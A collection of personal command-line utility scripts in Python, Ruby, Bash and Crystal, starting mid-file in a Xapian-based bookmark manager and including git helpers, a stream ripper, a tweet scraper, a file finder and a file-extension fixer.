tags.decode('UTF-8').split(u'\x1f') if tags else [] created = xapian.sortable_unserialise(doc.get_value(VALUE_CREATED)) od['created'] = arrow.get(created) archived_val = doc.get_value(VALUE_ARCHIVED) if archived_val: archived = xapian.sortable_unserialise(archived_val) od['archived'] = arrow.get(archived) od['notes'] = doc.get_data().decode('UTF-8') return od timefmt = '%Y-%m-%d %H:%M:%S UTC' # rewrite dict to use standard YAML types def standardize(d): d['created'] = d['created'].strftime(timefmt) if 'archived' in d: d['archived'] = d['archived'].strftime(timefmt) return d def unstandardize(d): d['created'] = arrow.Arrow.strptime(d['created'], timefmt) if 'archived' in d: d['archived'] = arrow.Arrow.strptime(d['archived'], timefmt) return d def docs2yaml(docs): ds = [standardize(doc2dict(d)) for d in docs] return yaml.dump_all(ds, Dumper=OrderedDumper) def yaml2docs(y): ds = yaml.safe_load_all(y) return [dict2doc(unstandardize(d)) for d in ds] def urlid(url): d = hmac.new(HMAC_KEY, url, hashlib.md5).digest() # padding is always '======', so drop it: return base64.b32encode(d).lower()[:-6] ### Bookmarking -------------------------------------------------------- def bookmark_url(url, tags=[], title='', notes='', archive=False, fetch_title=False, use_editor=True): db = xapian.WritableDatabase(DATABASE_DIR, xapian.DB_CREATE_OR_OPEN) docid = get_docid(db, url) if docid: doc = db.get_document(docid) d = doc2dict(doc) d['tags'].extend(tags) else: d = {'url': url, 'tags': tags} if title: d['title'] = title if notes: d['notes'] = notes if archive: archive_url(url) if fetch_title and not archive and 'title' not in d: xmldoc = html.parse(url) pagetitle = xmldoc.findtext('.//title') d['title'] = pagetitle # create a doc to fill in any missing fields doc = dict2doc(d) if use_editor: newdocs = yaml2docs(editor(docs2yaml([doc]))) else: newdocs = [doc] # insert_docs recomputes the docid, in case the user changes the url # in the editor. This ensures every URL has at most one docid. insert_docs(newdocs, db) return newdocs def insert_docs(docs, db=None): db = db or xapian.WritableDatabase(DATABASE_DIR, xapian.DB_CREATE_OR_OPEN) for doc in docs: docid = get_docid(db, doc.get_value(VALUE_URL)) if docid: db.replace_document(docid, doc) else: db.add_document(doc) db.commit() def get_docid(db, url): uid = urlid(url) postlist = db.postlist(P['id'] + uid) try: plitem = postlist.next() return plitem.docid except StopIteration: return None ### Archiving ---------------------------------------------------------- def cleanup_urlsnap_output(e): return "\n".join( l for l in e.split("\n") if len(l) > 0 and "Gtk-WARNING" not in l ) def archive_url(url): try: os.makedirs(ARCHIVE_DIR) except: if not os.path.isdir(ARCHIVE_DIR): raise uid = urlid(url) mhtpath = os.path.join(ARCHIVE_DIR, uid + '.mhtml') pngpath = os.path.join(ARCHIVE_DIR, uid + '.png') if os.path.isfile(mhtpath): print " |_ skipping..." return False # already archived result = urlsnap(url, mhtml=mhtpath) #, png=pngpath) if result.status_code == 0: print " |_ size: %d bytes" % os.path.getsize(mhtpath) elif result.status_code == -15: print " |_ Timeout!" else: # error 1: couldn't resolve # if "Name or service not known:" in r.std_err: # print " |_ Error: Could not resolve domain name" # else: # print " |_ Error!" # print result.std_err print " |_ %s" % cleanup_urlsnap_output(result.std_err) return True def urlsnap(url, **kwargs): # cmd = ['urlsnap', '--js'] # get rid of --js to disable JavaScript cmd = ['urlsnap'] args = cmd + [url] for k, v in kwargs.iteritems(): args += ['--' + k, v] return envoy.run([args], timeout=10) def get_archive_path(uid, ext='.mhtml'): path = os.path.join(ARCHIVE_DIR, uid + ext) return path if os.path.isfile(path) else None ### Indexing ----------------------------------------------------------- def index_archive(doc, mhtpath): with open(mhtpath) as f: msg = email.message_from_file(f) for part in msg.walk(): if part.is_multipart(): continue ct = part.get_content_type() if ct == 'text/html': html = part.get_payload(decode=True) index_html(doc, html) def index_html(doc, htmlstr): xmldoc = html.document_fromstring(htmlstr) title = xmldoc.findtext('.//title') if title: index_text(title, 'title') if not doc.get_value(VALUE_TITLE): doc.add_value(VALUE_TITLE, title) authors = xmldoc.xpath('//meta[@name="author"]/@content') for author in authors: index_text(author, 'author') descs = xmldoc.xpath('//meta[@name="description"]/@content') for desc in descs: index_text(desc) # TODO index keywords body = xmldoc.text_content().splitlines() body = filter(None, [x.strip() for x in body]) body = '\n'.join(body) index_text(body) def index_text(text, prefix=None): if prefix: indexer.index_text(text, 1, P[prefix]) indexer.index_text(text) ### Searching ---------------------------------------------------------- def search_terms(terms): return search_querystr(' '.join(terms)) def search_querystr(querystr): try: db = xapian.Database(DATABASE_DIR) except xapian.DatabaseOpeningError: print('Unable to open database for reading: DATABASE_DIR=%s' % repr(DATABASE_DIR)) print("Create a database by adding a bookmark using 'jot bookmark'.") sys.exit(1) if querystr == '' or querystr == '*': query = xapian.Query.MatchAll else: query = parse_query(db, querystr) enquire = xapian.Enquire(db) enquire.set_sort_by_relevance_then_value(VALUE_CREATED, False) enquire.set_query(query) mset = enquire.get_mset(0, db.get_doccount()) return mset def parse_query(db, querystr): qp = xapian.QueryParser() qp.set_database(db) qp.set_stemmer(stemmer) qp.set_stemming_strategy(xapian.QueryParser.STEM_SOME) qp.set_default_op(xapian.Query.OP_AND) for name, prefix in boolean_prefix.items(): qp.add_boolean_prefix(name, prefix, name in exclusive_prefixes) for name, prefix in probabilistic_prefix.items(): qp.add_prefix(name, prefix) qpflags = ( xapian.QueryParser.FLAG_BOOLEAN | xapian.QueryParser.FLAG_PHRASE | xapian.QueryParser.FLAG_LOVEHATE | xapian.QueryParser.FLAG_BOOLEAN_ANY_CASE | xapian.QueryParser.FLAG_WILDCARD | xapian.QueryParser.FLAG_PURE_NOT ) query = qp.parse_query(querystr, qpflags) return query ### Pretty-printing ---------------------------------------------------- default_formatstr = """{{ '\x1b[32;1m' if archived is defined else '\x1b[31;1m' }}{{sid}}\x1b[0m {{created.humanize()}} {{ url }} {% if title %} {{ title }} {% endif %} {% if tags %} \x1b[1m{{ tags|join(' ') }}\x1b[0m {% endif %} """ def print_docs(docs, formatstr=default_formatstr): template = jinja2.Template(formatstr, keep_trailing_newline=True, trim_blocks=True) for doc in docs: print(render_doc(doc, template).encode('UTF-8')) def render_doc(doc, template): d = doc2dict(doc) uid = urlid(d['url']) d['id'] = uid d['sid'] = uid[:8] for ext in ['.png', '.mhtml']: d[ext[1:] + 'path'] = os.path.join(ARCHIVE_DIR, uid + ext) return template.render(d) ### Command-line ------------------------------------------------------- @click.group() def cli(): """Jotmuch, a private bookmark manager https://github.com/davidlazar/jotmuch """ pass @cli.command(short_help='bookmark a url') @click.option('-a', '--archive', is_flag=True, help='Archive the webpage located at URL.') @click.option('-t', '--fetch-title', is_flag=True, help='Download the title of the webpage located at URL.') @click.option('--editor/--no-editor', default=True, help='Edit the bookmark with a text editor before saving.') @click.option('--title', default='', help='Set the title of a bookmark.') @click.option('--notes', default='', help='Set notes about a bookmark.') @click.argument('url') @click.argument('tags', nargs=-1, required=False) def bookmark(url, tags, title, notes, archive, fetch_title, editor): """Bookmark the given URL.""" docs = bookmark_url(url, list(tags), title, notes, archive, fetch_title, editor) print_docs(docs) @cli.command(short_help='edit existing bookmarks') @click.argument('terms', nargs=-1, default='*', required=False) def edit(terms): mset = search_terms(terms) docs = [m.document for m in mset] newdocs = yaml2docs(editor(docs2yaml(docs))) insert_docs(newdocs) print_docs(newdocs) @cli.command(short_help='delete bookmarks') @click.argument('terms', nargs=-1, default='*', required=False) def delete(terms): mset = search_terms(terms) if len(mset) < 1: print('No matches.') return docs = [m.document for m in mset] print_docs(docs) if click.confirm('Delete %s bookmarks (including archives)?' % len(docs)): db = xapian.WritableDatabase(DATABASE_DIR, xapian.DB_CREATE_OR_OPEN) for doc in docs: uid = urlid(doc.get_value(VALUE_URL)) for ext in ['.png', '.mhtml']: path = get_archive_path(uid, ext) if path: os.remove(path) db.delete_document(doc.get_docid()) db.commit() @cli.command(short_help='take webpage snapshots') @click.argument('terms', nargs=-1, default='*', required=False) def archive(terms): """Archive bookmarks matching the given search terms.""" mset = search_terms(terms) docs = [] total = len(mset) # archive the bookmarks, then edit them for current, m in enumerate(mset): url = m.document.get_value(VALUE_URL) print "[%d/%d] Archiving: %s" % (current+1, total, url) if archive_url(url): docs.append(m.document) print if docs: docs = [dict2doc(doc2dict(doc)) for doc in docs] newdocs = yaml2docs(editor(docs2yaml(docs))) insert_docs(newdocs) print('') print_docs(newdocs) @cli.command(short_help='view webpage snapshots') @click.argument('terms', nargs=-1, default='*', required=False) def view(terms): mset = search_terms(terms) args = [PNGVIEW] for m in mset: url = m.document.get_value(VALUE_URL) uid = urlid(url) path = get_archive_path(uid, '.png') if path: args.append(path) if len(args) > 1: subprocess.call(args) else: print('No archives to view.') @cli.command(short_help='search bookmarks') @click.argument('terms', nargs=-1, default='*', required=False) @click.option('--format', default=default_formatstr, help='Configure the display of search results.') def search(terms, format): """List bookmarks matching the given search terms.""" mset = search_terms(terms) docs = [m.document for m in mset] print_docs(docs, format) @cli.command(short_help='count bookmarks') @click.argument('terms', nargs=-1, default='*', required=False) def count(terms): """Count bookmarks matching the given search terms.""" mset = search_terms(terms) print(len(mset)) @cli.command('random', short_help='pick a random bookmark') @click.argument('terms', nargs=-1, default='*', required=False) @click.option('--format', default=default_formatstr) def jotrandom(terms, format): """Pick a random bookmark matching the given search terms.""" mset = search_terms(terms) m = random.SystemRandom().choice(mset) print_docs([m.document], format) @cli.command(short_help='dump bookmarks as yaml') @click.argument('terms', nargs=-1, default='*', required=False) @click.option('--dump-terms', is_flag=True, help='Include Xapian terms in dump.') def dump(terms, dump_terms): """Create a YAML dump of bookmarks matching the given search terms.""" mset = search_terms(terms) ds = [] for m in mset: d = standardize(doc2dict(m.document)) if dump_terms: d['terms'] = [t.term for t in m.document] ds.append(d) yaml.dump_all(ds, stream=sys.stdout, Dumper=OrderedDumper) @cli.command('import', short_help='import bookmarks from delicious json') @click.argument('jsonfile', type=click.File('rb')) def jotimport(jsonfile): """Import bookmarks exported as JSON from Delicious.""" # { # "description": "Humans of New York", # "extended": "A massive collection of small nuggets from conversations with random people in NYC (and the rest of the world).", # "hash": "7fcb4abb4aaf758b4059d257f65519b1", # "href": "http://www.humansofnewyork.com/", # "private": "yes", # "shared": "no", # "tag": "art projects collections humanity life nyc people creative blogs photography", # "time": "2014-09-17T23:48:23+00:00", # "time_string": "2014-09-17T23:48:23Z" # } import json bs = json.load(jsonfile) db = xapian.WritableDatabase(DATABASE_DIR, xapian.DB_CREATE_OR_OPEN) for b in bs: tags = b['tag'].split(' ') d = {'url': b['href'], 'title': b['description'], 'tags': tags, 'created': arrow.get(b['time']), 'notes': b['extended']} db.add_document(dict2doc(d)) print('Imported %d bookmarks' % len(bs)) @cli.command('pinimport', short_help='import bookmarks from pinboard json') @click.argument('jsonfile', type=click.File('rb')) def jotimport(jsonfile): """Import bookmarks exported as JSON from Pinboard.""" import json bs = json.load(jsonfile) db = xapian.WritableDatabase(DATABASE_DIR, xapian.DB_CREATE_OR_OPEN) for b in bs: tags = b['tags'].split(' ') d = {'url': b['href'], 'title': b['description'], 'tags': tags, 'created': arrow.get(b['time']), 'notes': b['extended']} db.add_document(dict2doc(d)) print('Imported %d bookmarks' % len(bs)) def editor(s, suffix='.yaml'): with tempfile.NamedTemporaryFile(suffix=suffix) as tmp: tmp.write(s) tmp.flush() subprocess.check_call([EDITOR, tmp.name]) tmp.seek(0) r = tmp.read() return r class OrderedDumper(yaml.SafeDumper): pass def _dict_representer(dumper, data): return dumper.represent_mapping( yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, data.items()) OrderedDumper.add_representer(OrderedDict, _dict_representer) if __name__ == '__main__': cli() <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'google_speech' def wavify(arg) case File.extname arg when /\.(mpe?g|mp4|avi|mkv|ogg|webm|mp3|ogg|flac|aac|m4a)$/ IO.popen(["ffmpeg", "-i", arg, "-f", "wav", "-"], "r") else open(arg) end end opts = Slop.parse(help: true, strict: true) do on :l=, :language, "what language is the speech in?", default: 'en-US' # language on :c=, :chunk_length, "break wav into chunks of # seconds", default: 8 # chunk_duration on :o=, :overlap, "chunking ignores word boundaries; overlap seconds can compensate", default: 1 # overlap on :n=, :num_results, "# of results to request from the speech API", default: 2 # max_results on :d=, :delay, "length of pause between chunk transcription requests", default: 1 # request_pause on :f, :filter_profanity, "use google's profanity filter" # profanity_filter end args = ARGV if args.empty? puts opts else GoogleSpeech.logger = Logger.new(STDOUT) GoogleSpeech.logger.level = Logger::DEBUG args.each do |arg| if arg == "-" input = $stdin else input = wavify(arg) end $stderr.puts "* Processing #{input}..." recognicer = GoogleSpeech::Transcriber.new( input, :language => opts[:language], :chunk_duration => opts[:chunk_length], :overlap => opts[:overlap], :max_results => opts[:num_results], :request_pause => opts[:delay], :profanity_filter => opts.filter_profanity? ) p recognicer.transcribe end end<file_sep>#!/usr/bin/env ruby require 'epitools' # TODO: show each result as it comes in jsons = Path["~/elf-stars-grog.json"].each_line.map { |l| l.from_json }.map &:to_ostruct jsons.each do |e| title = e.name.split("somafm.com - ").last puts title rs = run("yt", "-j", "-n", "3", title).each_line.map(&:from_json) rs.each { |r| puts "\thttps://youtu.be/#{r["id"]} #{r["title"]} || #{r["channel"]} (#{r["views"]})" } end <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: meld-rcfiles" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end [opts, ARGV] end opts, args = parse_options ######################################################### rcdir = Path["~/scripts/rc"] relative_files = rcdir.ls_R.map { |f| f.relative_to(rcdir) } pp relative_files t = Path.tmpdir t.chmod 0700 relative_files.each do |r| srcfile = Path.home/r if srcfile.file? destfile = t/r puts "Copying #{srcfile} to #{destfile}" srcfile.cp_p(destfile) end end system "ls", "-la", t system "meld", t, rcdir puts "rm -rf #{t} (simulated)" # t.rm_rf<file_sep>#!/bin/bash if [ "$*" == "" ]; then echo "usage:" echo " ssl-cert-remove <certificate name>" echo echo "(Use ssl-cert-list to find the name.)" else certutil -D -n "$*" -d sql:$HOME/.pki/nssdb fi <file_sep>#!/usr/bin/env ruby require 'epitools' COLORS = %w[ blue red green yellow purple cyan grey/white ] TYPES = ["", "-simple"] # <see scripts/promptinfo for more info> puts "* Generating color scripts..." for color, type in COLORS*TYPES back, fore = color.split('/') fore = "light_#{back}" unless fore path = Path["#{back}#{type}"] case type when "-simple" ps1 = "<grey>[<white>\\@<grey>] <grey>:: <#{fore}>\\w <white>$ " else ps1 = "<grey>[<white>\\@<grey>] <#{back}>\\u<grey>@<#{fore}>\\h <grey>:: <light_white>\\w <white>$ " end ps1 = ps1.colorize # colorize! ps1 = ps1.gsub(/((?:\e\[\d+m)+)/, "\\\[\\1\\\]") # mark ansi sections as "nonprinting" script = %{#!/bin/bash #if [ "$TERM" == "xterm" -a "$COLORTERM" != "gnome-terminal" ]; then # export PROMPT_COMMAND='echo -ne "\\033]30;[`basename "$PWD"`]\\007"' #fi export PS1=#{ps1.inspect} } next if path.exists? and prompt("Overwrite #{path}?") == 'n' puts " |_ #{path}" path.truncate path.write script path.chmod "+x" end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: git-remaster <branch-to-make-the-new-master>" else git checkout $1 git merge -s ours master git checkout master git merge $1 fi <file_sep>#!/usr/bin/env ruby require 'epitools' REMOTE="epi@ix:git/" unless ARGV.size == 1 and ARGV.first =~ /^[\w_-]+$/ puts %{ usage: $ gi newproject * creates a new local and remote git repos * local: newproject/.git * remote: #{REMOTE}newproject.git } exit 1 else reponame = ARGV.first repo = Path[reponame] raise "local repo (#{repo}) already exists!" if repo.exists? host, dir = REMOTE.split(':') repo_remotedir = "#{dir}#{reponame}.git" raise "remote repo (#{host}:#{repo_remotedir}) already exists!" if cmd ["ssh ? ?", host, "test -d #{repo_remotedir}"] cmd ["git init ?", reponame] Path.pushd; Path.cd(repo) cmd ["git remote add origin ?", "#{REMOTE}#{reponame}.git"] puts puts '## First commit!' puts Path[repo].join("README.md").write("") cmd "git add ." cmd ["git commit -m ?", "First commit!"] puts puts '## Creating remote repository' puts cmd ["ssh ? ?", host, "git init --bare #{repo_remotedir}"] puts puts '## Pushing' puts cmd "git push origin master" puts puts "##" * 30 puts "## New Repository: #{reponame}/ => #{host}:#{repo_remotedir}" puts end <file_sep>#!/bin/bash if [ "`id -u`" -eq 0 ]; then . green else . purple fi <file_sep>#!/usr/bin/env ruby EDITOR = "s" options, args = ARGV.partition { |e| e[/^-/] } paths = args.map do |arg| spec = Gem::Specification.find_by_name(arg) spec and spec.full_gem_path end.compact system EDITOR, *(options + paths) <file_sep>#!/usr/bin/env ruby require "html2haml" require 'html2haml/html' def html2haml(text, options = {}) Html2haml::HTML.new(text, options).render.rstrip end puts html2haml(ARGF.read) <file_sep>#!/bin/bash for arg in "$@"; do if [[ $arg =~ \.pkg\.tar\.(xz|gz|bz2)$ ]]; then pacman -Qpi $arg else pacman -Qi $arg || pacman -Si $arg fi done <file_sep>#!/bin/bash dict -d wn $@ <file_sep>#!/usr/bin/env ruby def title(text,color=36) puts puts "\e[0;#{color}m=== \e[1;#{color}m#{text} \e[0;#{color}m===================================\e[0m" puts end ## Remote {"Unmerged" => "--no-merged", "Merged" => "--merged"}.each do |type, option| title "#{type} remote branches", 35 branches = `git branch -r #{option}`.each_line.reject { |line| line["HEAD"] }.map do |branch| branch.strip! date = `git show --format="%cr %an" #{branch}`.each_line.first.strip [date, branch] end.sort.reverse width = branches.map { |_, branch| branch.size }.max branches.each do |date, branch| puts "#{branch.ljust(width)} | #{date}" end end puts ## Local title "Unmerged local branches:" system("git branch -v --no-merged") title "Merged local branches:" system("git branch -v --merged") puts <file_sep>#!/usr/bin/env ruby ######################################################################################## require 'epitools' ######################################################################################## # TODOs: ######################################################################################## # # * Spawn rippers in a tmux with splits # # eg: # tmux new-session -d 'vim' # tmux split-window -v 'ipython' # tmux split-window -h # tmux new-window 'mutt' # tmux -2 attach-session -d # # selectp -t 0 # select the first (0) pane # splitw -h -p 50 # split it into two halves # # selectp -t 1 # select the new, second (1) pane # splitw -v -p 50 # split it into two halves # selectp -t 0 # go back to the first pane ######################################################################################## NAME = "radio-ripper" STREAMS = %w[ http://ice1.somafm.com/secretagent-128-aac http://ice2.somafm.com/groovesalad-128-aac http://ice1.somafm.com/poptron-128-mp3 http://ice1.somafm.com/u80s-128-aac http://stream.friskyradio.com:8000/frisky_aac_hi http://radio.108.pl:8002/ ] ######################################################################################## def tmux(*a) cmd = ["tmux",*a] p cmd system *cmd end ######################################################################################## def tmux_mode! if `tmux ls`[NAME] exec("tmux", "attach") end tmux "new-session", "-d", "-s", NAME # # 2 columns # tmux "split-window -h" # enum = STREAMS.lazy.map { |uri| ["streamripper", uri, "-o", "larger"] } # # 3 rows on the left # tmux "selectp -t 0" # tmux "split-window", "-p", "33", *enum.next # tmux "selectp -t 0" # tmux "split-window", "-p", "50", *enum.next # # 3 rows on the right # tmux "selectp -t 3" # tmux "split-window", "-p", "33", *enum.next # tmux "selectp -t 3" # tmux "split-window", "-p", "50", *enum.next STREAMS.each do |uri| tmux "neww", "streamripper", uri, "-o", "larger" end exec "tmux", "attach", "-t", NAME end ######################################################################################## def thread_mode! histories = {} # Spawn the threads! threads = STREAMS.map { |u| URI(u) }.map do |uri| Thread.new do histories[uri] = (history = []) IO.popen(["streamripper", uri, "-o", "larger"], "rb") do |io| io.each_line do |line| history << line history.shift 20 if history.size > 50 end end end end start_time = Time.now loop do elapsed = Time.now - start_time print "\e[H\e[J" puts "[#{elapsed.to_i.to_hms}] #{threads.select(&:alive?).size} threads" puts histories.each do |uri, history| puts "== [#{uri.host}#{uri.path}] ===" puts history.last(5).each { |h| puts " #{h}" } puts end sleep 1 end end if ARGV.any? { |arg| arg == "-t" } thread_mode! else tmux_mode! end<file_sep>#!/bin/bash pactl load-module module-simple-protocol-tcp rate=48000 format=s16le channels=2 source=alsa_output.pci-0000_00_1b.0.analog-stereo.monitor record=true port=7777 listen=0.0.0.0 echo "* Pulse audio server is running on port 7777" <file_sep>#!/bin/bash sudoifnotroot hddtemp /dev/sd? <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' require "oga" gem 'slop', "~> 3.6" require 'slop' ######################################################## # TODO: # - untruncate urls (use href instead of text node) ######################################################## TESTURL = "https://twitter.com/G_S_Bhogal/status/1545510413982474253" ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: tweet2txt [options] <url>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## def field(t, *names) names.each do |name| v = t.at_css(".#{name}") return v.text unless v.nil? end nil end def ftime(time) time. strftime("%Y-%m-%d %H:%M"). gsub(/ 00:00$/, '') end ######################################################## url = args.first || IO.popen(["cb"], &:read).strip if (uri = URI.parse(url)).host =~ /\.?twitter\.com$/ uri.host = "nitter.ca" url = uri.to_s end puts url puts d = Oga.parse_html curl(url) tweets = d.css(".tweet-body") toots = d.css(".status__content").map(&:parent) tweets.each do |t| user = field(t, "username") text = field(t, "tweet-content") time = DateTime.parse field(t, "tweet-published", "tweet-date") puts "[#{ftime(time)}] <#{user}>\n\n#{text}" puts end toots.each do |t| #binding.pry user = field(t, "display-name__account")&.strip c = t.at_css(".status__content") # <p><span class="p-summary">Spoilers for Stray? </span><button class="status__content__spoiler-link">Show more</button></p><div class="e-content" lang="en"> c.at_css("button.status__content__spoiler-link")&.remove s = c.at_css("span.p-summary") s&.replace("{ #{s.text.strip} }") c.css("br").each { |e| e.replace("\n")} c.css("p").each { |e| e.replace(e.text + "\n\n")} text = c.text.strip time = DateTime.parse t.at_css("data.dt-published")["value"] puts "[#{ftime(time)}] <#{user}>\n\n#{text}" puts #binding.pry end <file_sep>#!/usr/bin/env ruby ################################################################# ## For author info, scroll to the end of this file. ################################################################# ################################################################# ## Globals if ARGV.delete("-v") $verbose = true else $verbose = false end ################################################################# ################################################################# ## Display Help (if requested) if ["--help", "-h"].includes?(ARGV[0]?) puts %{"f" (c) 2002-2015 by <NAME> (<EMAIL>) Usage: f => recursively list all files in current directory f <search string> => recursively list all files in current directory containing <search string> f <search string> <paths> => recursively list all files in <paths> containing <search string> f -a <paths> => show all files in paths f -v [...] => verbose mode (warns if there are symlink loops) } exit end ################################################################# ################################################################# ## NEW path scanner def slashed(path) path[-1] == '/' ? path : (path + "/") end def listdir(root) root = slashed(root) dirs = [] of String files = [] of String dir = Dir.new(root) dir.each do |fn| if File.directory? fn dirs << fn unless fn == "." || fn == ".." else files << fn end end dir.close # Dir.list(root) do |fn, type| # if type == Dir::Type::DIR # next if fn == "." || fn == ".." # dirs << fn # else # files << fn # end # end [dirs, files] end $visited = {} of UInt64 => String # visited paths, to avoid symlink-loops def breadth_first_scan(root, &block : (String, String) -> ) # puts "=== #{root} ===" if $verbose root = slashed(root) dirs, files = listdir(root) path_id = File.lstat(root).ino # p [root, path_id] unless $visited[path_id]? $visited[path_id] = root dirs.each { |fn| yield root, fn } files.each { |fn| yield root, fn } dirs.each do |dir| breadth_first_scan(root+dir, &block) end end end ################################################################# class String def highlight(query) gsub(query) { |str| "\e[33m\e[1m#{str}\e[0m" } end end ################################################################# # module IO # def self.popen(cmd, opts) # r, w = IO.pipe # case opts # when "r" # Process.run(cmd, output: w) # yield r # when "w" # Process.run(cmd, input: r) # yield w # else # raise "Unknown options: #{opts}" # end # w.close # end # end # def lesspipe # # IO.popen("less -XFiRS", "w") { |w| yield w } # IO.popen("ls", "r") { |w| yield w } # end ################################################################# ## MAIN # Separate options from commmandline args opts, args = ARGV.partition{|arg| arg =~ /^-\w$/} # Handle args case args.size when 0 query = "" roots = ["."] when 1 if args.first =~ %r{(^/|/$|^\./)} #and File.directory?(ARGV.first) query = "" roots = [args.first] else query = args.first roots = ["."] end else query = args.shift roots = args end # Handle one-letter options (eg: -a) opts.each do |opt| case opt when "-a" roots.unshift query query = "" when "-v" $verbose = true end end # Matches re = Regex.new( Regex.escape( query ), Regex::Options::IGNORE_CASE ) # re = /#{query}/ has_query = !query.empty? # Ignore bad path arguments roots = roots.select do |path| File.exists?(path) || STDERR.puts("Error: #{path} doesn't exist") end # Search! # lesspipe(:wrap=>true) do |less| # lesspipe do |less| roots.each do |root| breadth_first_scan(root) do |dirname, filename| if has_query if query["/"]? # search the full path if the user put a '/' in the query path = dirname + filename if path =~ re puts path.highlight(re) end else # search in the filenames only if filename =~ re puts dirname + filename.highlight(re) end end else puts dirname + filename end end end # end ################################################################# <file_sep>#!/bin/bash notify-send.sh "gemini get" "$@" this_dir="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" GODEBUG=x509ignoreCN=0 "$this_dir/gemini.filter.dpi" "$@" <file_sep>#!/usr/bin/env ruby ######################################################## gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: cat-baud [options] [<file(s)>]" on "b=", "baud", "Baudrate", default: "2400" end args = ARGV ######################################################## baud=opts[:baud].to_i delay=1.0/(baud/8) if baud < 1 $stderr.puts "not enough baud" exit 255 end ARGF.each_char { |c| c.display; sleep delay } <file_sep>#!/bin/bash rsync -rltvz --checksum --progress --copy-links "$1" "$2" <file_sep>#!/usr/bin/env ruby ######################################################################## gem 'slop', "~> 3.6" require 'slop' require 'epitools' ######################################################################## SUB_DLERS = { "subdl" => %w[subdl], "subliminal" => %w[subliminal download -l en], } ######################################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: subs [options] <file(s)...>" SUB_DLERS.each_key.with_index do |sub_dler, n| on "#{n+1}", sub_dler, "Use '#{sub_dler}'#{"(default)" if n==0}'" end end args = ARGV ######################################################################## available_downloaders = SUB_DLERS.keys.select { |name| Path.which(name) } if available_downloaders.any? puts "Available downloaders: #{available_downloaders.join(", ")}" else dent = " " * ("Error: ".size) puts "<12>Error: <15>No downloaders available.\n#{dent}Install one of these:\n#{SUB_DLERS.keys.map {|name| "#{dent} <8>- <13>#{name}\n"}.join}".colorize exit 1 end ######################################################################## if args.empty? # Show help! puts opts else # Create an array of downloaders (based on the passed options) dlers = opts.options.select { |o| o.short =~ /^\d$/ and o.value == true }.sort_by(&:short).map(&:long) # Use all the downloaders if no specific ones were chosen by the user dlers = SUB_DLERS.keys if dlers.empty? failures = [] for filename in args puts puts "<8>=== <11>#{filename} <8>===========".colorize puts # Try all the downloaders until one works success = dlers.any? do |dler| cmd = SUB_DLERS[dler] if system *cmd, filename puts "Success!".light_green puts true # success else puts "<12>ERRORN! <7>Trying next downloader...".colorize puts puts false # failed end end failures << filename unless success end puts puts puts "<8>=== <15>DONE! <8>===========".colorize puts if failures.any? puts "<8>* <15>#{failures.size} <12>failure#{"s" if failures.size > 1}:".colorize for failure in failures puts " <8>|_ <9>#{failure}".colorize end puts end end <file_sep>#!/usr/bin/env ruby ################################################### gem 'slop', "~> 3.6" require 'slop' #require 'mimemagic' require 'pathname' require 'epitools' ################################################### # # TODOs: # - If the file exists, put an incrementing counter # - Be smarter about what it thinks an extension is (eg: "hello there how are you doing. i am fine!" => ". i am fine!" is not an extension) # ################################################### def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: fixexts [options]" # on 'c', 'codecs', 'List the availiable codecs' # on 'u=', 'use', 'Tool to use (ffmpeg, mencoder)', default: "ffmpeg" end [opts, ARGV] end ################################################### # # Prompt the user for confirmation. # # Usage: # prompt("Do you want a cookie?", "Ynqa") #=> returns the letter that the user pressed, in lowercase (and returns the default, 'y', if the user hits ENTER) # def prompt(message="Are you sure?", options="Yn") opts = options.scan(/./) optstring = opts.join("/") # case maintained defaults = opts.select{|o| o.upcase == o } opts = opts.map{|o| o.downcase} raise "Error: Too many default values for the prompt: #{default.inspect}" if defaults.size > 1 default = defaults.first loop do print "#{message} (#{optstring}) " response = STDIN.gets.strip.downcase case response when *opts return response when "" return default.downcase else puts " |_ Invalid option: #{response.inspect}. Try again." end end end ################################################### def skipit?(ext, true_ext, mime) # p [ext, true_ext, mime] true_ext.nil? or (ext == "apk" and true_ext == "zip") or (ext == "epub" and true_ext == "zip") or (ext == "mmap" and true_ext == "zip") or (ext == "backup" and true_ext == "zip") or (ext == "cbr" and true_ext == "rar") or (ext == "tgz" and true_ext == "gz") or (ext == "xspf" and true_ext == "htm") or (ext == "java" and true_ext == "c") or (ext == "json" and true_ext == "c") or (ext == "js" and true_ext == "c") or (ext == "rdf" and true_ext == "xml") or (ext == "mp4" and true_ext == "3gpp") or (ext == "m4a" and true_ext == "mp4") or (ext == "m4a" and true_ext == "3gpp") or (ext == "docx" and true_ext == "zip") or (ext == "html" and true_ext == "xht") or (ext == "xml" and true_ext == "htm") or (ext == "db" and true_ext == "sqlite3") or (ext == "htm" and true_ext == "xht") or (ext == "m4a" and true_ext == "3ga") or (ext == "dll" and true_ext == "exe") or (ext == "mhtml" and true_ext == "eml") or (ext == "sketch" and true_ext == "sqlite3") or (ext == "" and mime.type =~ /(^application|python3?$)/) or (ext == "run" and mime.type == "application/x-executable") or (ext == "txt" and mime.type == "text/html") or (ext =~ /^(pptx|xlsx)$/ and true_ext == "zip") or (ext =~ /^(ppt|pps|xls|doc|msi)$/ and mime.type == "application/x-ole-storage") or false end FIXERS = { # [ current-extension, actual-type ] => proc ["mp4", "video/mp2t"] => proc { |path| convert_to_mp4(path) }, ["mp4", "video/quicktime"] => proc { |path| convert_to_mp4(path) }, } def convert_to_mp4(path) require 'fileutils' tmp = Pathname.new("/tmp/fixing.mp4") cmd = ["ffmpeg", "-hide_banner", "-y", "-i", path.to_s, "-c", "copy", "-movflags", "faststart", tmp.to_s] unless system(*cmd) tmp.unlink if tmp.exist? raise "error!" end FileUtils.touch(tmp, mtime: path.mtime) FileUtils.mv(tmp, path) path end def fix!(path) mime = path.open { |io| 